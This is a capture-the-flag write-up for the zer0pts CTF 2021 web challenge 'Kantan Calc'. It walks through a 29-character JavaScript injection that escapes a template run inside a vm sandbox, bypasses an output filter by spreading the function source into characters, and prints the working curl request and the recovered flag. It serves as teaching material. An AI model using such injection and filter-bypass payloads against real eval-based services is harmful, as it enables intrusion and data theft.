# Kantan Calc - zer0pts CTF 2021 ###### tags: `zer0pts CTF 2021` `web` ## Overview - User input and the flag will be inserted into `'use strict'; (function () { return ${code}; /* ${FLAG} */ })()`, and the server executes the code in sandbox. ```javascript=19 const result = vm.runInNewContext(`'use strict'; (function () { return ${code}; /* ${FLAG} */ })()`, {}, { timeout: 100 }); ``` - As you can see in the code, the flag is inserted as a comment in a function, after user input. So, what you need to do is somehow exfiltrating the comment by, for example, converting the function to `String` and outputting it. - Since the server sets the maximum length of user input to 29 characters, you need to do code-golf with some features available in recent ECMAScript. ```javascript=15 const code = req.query.code + ''; if (code && code.length < 30) { ``` ## Solution ### Separating `FLAG` comment to a different function First you need to do is accessing to the function itself. However, since `'use strict'` is enabled, you cannot use `arguments.callee`. One way to avoid the restriction is separating functions. You can access a function, which contains `FLAG` as a comment, as a parameter like below. ```javascript 'use strict'; (function () { return arguments[0] })(function () {; /* ${FLAG} */ })() ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ (inserted code) ``` ### Code golf 1. Use arrow functions (-1 byte) ```javascript 'use strict'; (function () { return () => arguments[0]})(() => {; /* ${FLAG} */ })() ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ (inserted code) ``` 2. If arrow functions have no arguments, you need to put parentheses. However, JavaScript allows you to put arguments even though no parameters will be given (-2 bytes) ```javascript 'use strict'; (function () { return a => arguments[0]})(b => {; /* ${FLAG} */ })() ^^^^^^^^^^^^^^^^^^^^^^^^^^ (inserted code) ``` 3. Remove spaces (-4 bytes) ```javascript 'use strict'; (function () { return a=>arguments[0]})(b=>{; /* ${FLAG} */ })() ^^^^^^^^^^^^^^^^^^^^^^ (inserted code) ``` This code should return the function `b=>{; /* ${FLAG} */ }`. However, when you submit this payload `a=>arguments[0]})(b=>{`, the server shows `Error: please do not exfiltrate the flag`. This is because if `output`, which is the result of `vm.runInNewContext`, contains `zer0pts`, the server does not print the result. You need to bypass this restriction. ```javascript=21 if (output.includes('zer0pts')) { output = 'Error: please do not exfiltrate the flag'; } ``` ### Bypass the restriction There are some ways to bypass the restriction, such as converting the function to `String`, then get the contents character by character with the bracket notation like `str[i]`. This time, let's use the way converting the function to `String` and then treating it as `Array`. Recent JavaScript has spread syntax, which can be used to converting `String` to `Array` as below. ```javascript [...'abc'] // => ["a", "b", "c"] ``` And, when you converting `Array` to `String`, the result will be comma separated string. ```javascript ["a", "b", "c"] + '' // => "a,b,c" ``` With these behaviors, you can bypass the restriction of the server with the payload as below. ```javascript 'use strict'; (function () { return a=>[...arguments[0]+0]})(b=>{; /* ${FLAG} */ })() ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ (inserted code) ``` ``` $ curl http://web.ctf.zer0pts.com:8002/?code=a%3D%3E%5B...arguments%5B0%5D%2B0%5D%7D%29%28b%3D%3E%7B <!DOCTYPE html><html><head><meta charset="utf-8"><title>Kantan Calc</title><link rel="stylesheet" href="/stylesheets/style.css"></head><body><main><h1>Kantan Calc</h1><p>"Kantan" means simple or easy in Japanese.</p><a href="/source">source</a><h2>Code</h2><form action="/" method="get"><input type="text" name="code" size="40" placeholder="7*7" maxlength="29"><input type="submit" value="submit"></form><h2>Output</h2><output>b,=,&gt;,{,;, ,/,*, ,z,e,r,0,p,t,s,{,K,4,n,t,4,n,_,m,3,4,n,s,_,4,d,m,1,r,4,t,1,o,n,_,1,n,_,J,4,p,4,n,3,s,3,}, ,*,/, ,},0</output></main></body></html> ``` ``` zer0pts{K4nt4n_m34ns_4dm1r4t1on_1n_J4p4n3s3} ```